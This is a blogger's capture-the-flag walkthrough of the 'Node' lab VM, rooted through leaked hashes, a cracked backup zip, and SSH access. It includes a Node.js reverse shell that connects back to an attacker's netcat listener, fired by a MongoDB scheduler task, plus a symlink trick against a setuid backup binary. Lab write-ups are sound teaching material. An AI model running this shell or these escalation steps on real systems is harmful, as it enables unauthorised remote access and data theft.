Node HTB/Vulnhum VM

I originally completed this VM when it was hosted over on HTB. It was really fun and I learnt so much from it. I decided to try it again when I saw it posted on vulnhub to see if I could remember how to root it and also if i could find any new ways through it. So this is my walkthrough, I hope you enjoy it and maybe learn something along the way.

So let’s jump straight in,

So after a quick nmap scan we can see it has only a few ports open

root@Kali:~/Desktop/HTB/ node# nmap

Starting Nmap 7.60 ( ) at 2017–10–15 09:06 BST
Nmap scan report for
Host is up (0.028s latency).
Not shown: 998 filtered ports
22/tcp open ssh
3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 19.86 seconds

I have never seen a tcp 3000 port open before. Lets google it quickly and see what it is.

Hmm so not sure of this is helpful but I’ll save it to my notes and move on. Lets see if we can see it in a browser!

Awesome so it looks like the 3000 port has a website on it, taking a quick look at the source nothing really jumps out, lets run a dirb scan against it and see if we can uncover anything. and whilst that is working away in the back ground we can try to log in and capture the request in burp.

So entering admin:admin obviously doesnt work haha but was definitely worth a try though, lets just try a quick sqli whilst I’m here. But no luck with that either. So nothing seemed to work for me. Lets take another look at this pages source code and see if we can figure out what is the step forward!!

we can see it has a few .js scripts running. Lets take a look at what each one is doing.


Checking through the dirs and files etc we get a lot of errors but then when I go to /api/users/latest I think we hit on something that we can use to move forward.





We have found some account details for the site and looking at them we can see theres an admin for the site. Lets try to log in and if we can use the creds

running the password hashes through hash-identifier it returns that its a sha-256 hash

it decrypts as


Logging in with this we get

so we can download the back up sweet, lets take a look at it using cat

(the output of the backup has been snipped hugely to save you scrolling endlessly)

there was just loads of text in the file but that tiny little = sign at the end hints that it is base64 encoded so lets decode it and see what it says then.

root@Kali:~/Downloads# base64 — decode myplace.backup > mydecoded.txt

PK @”KX|F�Lp�=��#var/www/myplace/static/vendor/bootstrap/css/bootstrap.min.cssUT���Yux
 PK @”K��6�RZ:9��!d#var/www/myplace/static/vendor/bootstrap/css/bootstrap.cssUT���Yux
 PK @”KXDZ�LN�NN����#var/www/myplace/static/vendor/bootstrap/fonts/glyphicons-halflings-regular.eotUT���Yux
 PK @”K|��ɻh¨N���$var/www/myplace/static/vendor/bootstrap/fonts/glyphicons-halflings-regular.svgUT���Yux
 PK @”K�<��[\�N���o$var/www/myplace/static/vendor/bootstrap/fonts/glyphicons-halflings-regular.ttfUT���Yux
 PK @”K�{�\Z�[O��^�$var/www/myplace/static/vendor/bootstrap/fonts/glyphicons-halflings-regular.woffUT���Yux
 PK @”Kv��ahFlFP��S’%var/www/myplace/static/vendor/bootstrap/fonts/glyphicons-halflings-regular.woff2UT���Yux
 PK @”K/��jm&��;���n%var/www/myplace/static/vendor/bootstrap/js/bootstrap.min.jsUT���Yux
 PK @”K��q�e8K7����%var/www/myplace/static/vendor/bootstrap/js/bootstrap.jsUT���Yux

still random garbage by the initial looks of it, but this has to be the way forward so further enumeration of it we can see what it is.

root@Kali:~/Downloads# file mydecoded.txt
mydecoded.txt: Zip archive data, at least v1.0 to extract

Awesome so its a zip file, we can amend the extension and make it a zip then try to extract it!!

haha it wasnt going to be that easy was it!! so lets hit it with fcrackzip and see if we can brute our way in.

root@Kali:/usr/share/wordlists/SecLists/Rockyou# fcrackzip -D -p rockyou.txt
possible pw found: magicword ()

That was easy and didnt take long at all!! Now back to extracting it.

Cool so lets carry on looking through the details and try to find a way forward. In side the dirs were all the javascript files we saw before after reviewing a few of them I came across the app.js

inside the app.js file is the login detail for mark


Lets ssh in and see if they work.

root@Kali:# ssh mark@
mark@’s password:

Last login: Wed Sep 27 02:33:14 2017 from
mark@node:~$ ls
mark@node:/home/frank$ locate user.txt
mark@node:/home/frank$ cat /home/tom/user.txt 
cat: /home/tom/user.txt: Permission denied

Ok so I need to change users from Mark into Frank to gain any progress.

Lets start enumerating the box. The best way to do this is to wget our LinEnum script onto the box and run it from the /tmp dir as we normally have write privileges there.

The output of the LinEnum scan shows us that there are 3 users on the box Frank, Mark and Tom

Carrying on down through the LinEnum output we can see that the app.js process is running asuser Tom

tom 1236 0.1 5.0 1074104 38092 ? Ssl 11:11 0:01 /usr/bin/node /var/scheduler/app.js

We open app.js and find the same credentials that we found earlier. It suggests that its backup was created using the same script that we find earlier. Going through the file we also find this script calls a file called backup in /usr/local/bin directory and uses a key to create a backup.

Now that we know the box has MongoDB on it we can use it to exploit it further. (that jump took me ages to make and I was stuck for alot longer than I should have been, I should have taken a break at this stage and it might not have taken me so long to figure out the Mongo bit).

I can create and upload a .js reverse shell and use the Sheduler in Mongo to trigger it.

The reverse shell looks like this:

 var net = require(“net”),
 cp = require(“child_process”),
 sh = cp.spawn(“/bin/sh”, []);
 var client = new net.Socket();
 client.connect(2007, “”, function(){
 return /a/; // Prevents the Node.js application form crashing

We use wget and python SimpleHTTP to get it on to the box. We have to change the permissions for it to run on this box.

chmod +x

We can then fire up MongoDB and tell it what to run with the scheduler.

use scheduler
db.auth(“mark”, “5AYRft73VtFpc84k”)

Switching to a new terminal window we have to set up a netcat listener to catch our reverse shell when it is triggered.

nc in new terminal -lnvp 2007

Switching back to our other terminal window that has mongo up and running in it we can issue the following cmd:

db.tasks.insertOne({cmd:”/usr/bin/nodejs /tmp/shell.js”});

this will land you in as Tom (step one priv esc complete) we can go to /home/tom dir and capture the user.txt flag.

we should now start the enumeration all over again using Toms user privs.

Firing up our trusty old and looking through the output we can see this:

-rwsr-xr — 1 root admin 16484 Sep 3 11:30 /usr/local/bin/backup

navigating to this file and after googling a bit I figured out it was backing up /dirs but I couldnt use it or call root or etc without it trolling me repeatedly.

After alot more enumeration and googling as to ways to get around the issue of not being able to call root or access anything further I found an article that suggested that creating a symlink from a dir we have write access to (/tmp) we might be able to get around the restriction.

So I created a symlink to /root in the tmp folder

mkdir -p /tmp/hack

tom@node:/tmp$ ln -s /root /tmp/hack/hack

tom@node:/tmp$ file /tmp/hack/hack
/tmp/hack/hack: symbolic link to /root

We have to go the web page again and download the newly modified backup file. Once we have it we can decode the same way as before using the password magicword

tom@node:/tmp$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/hack

<45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/hack 
bash: ./backup: No such file or directory
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/hack
<72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/hack 
******(the backup output has been snipped)*****

After base 64 decoding this we get a copy of the root /dir which has the root flag included in it and we can cat the final flag.


And that’s game over. Wow that was pretty hard and as usual recently I learnt loads from this VM.

Huge thanks to @iamrastating for creating such an awesome VM and to for hosting so many great VM’s.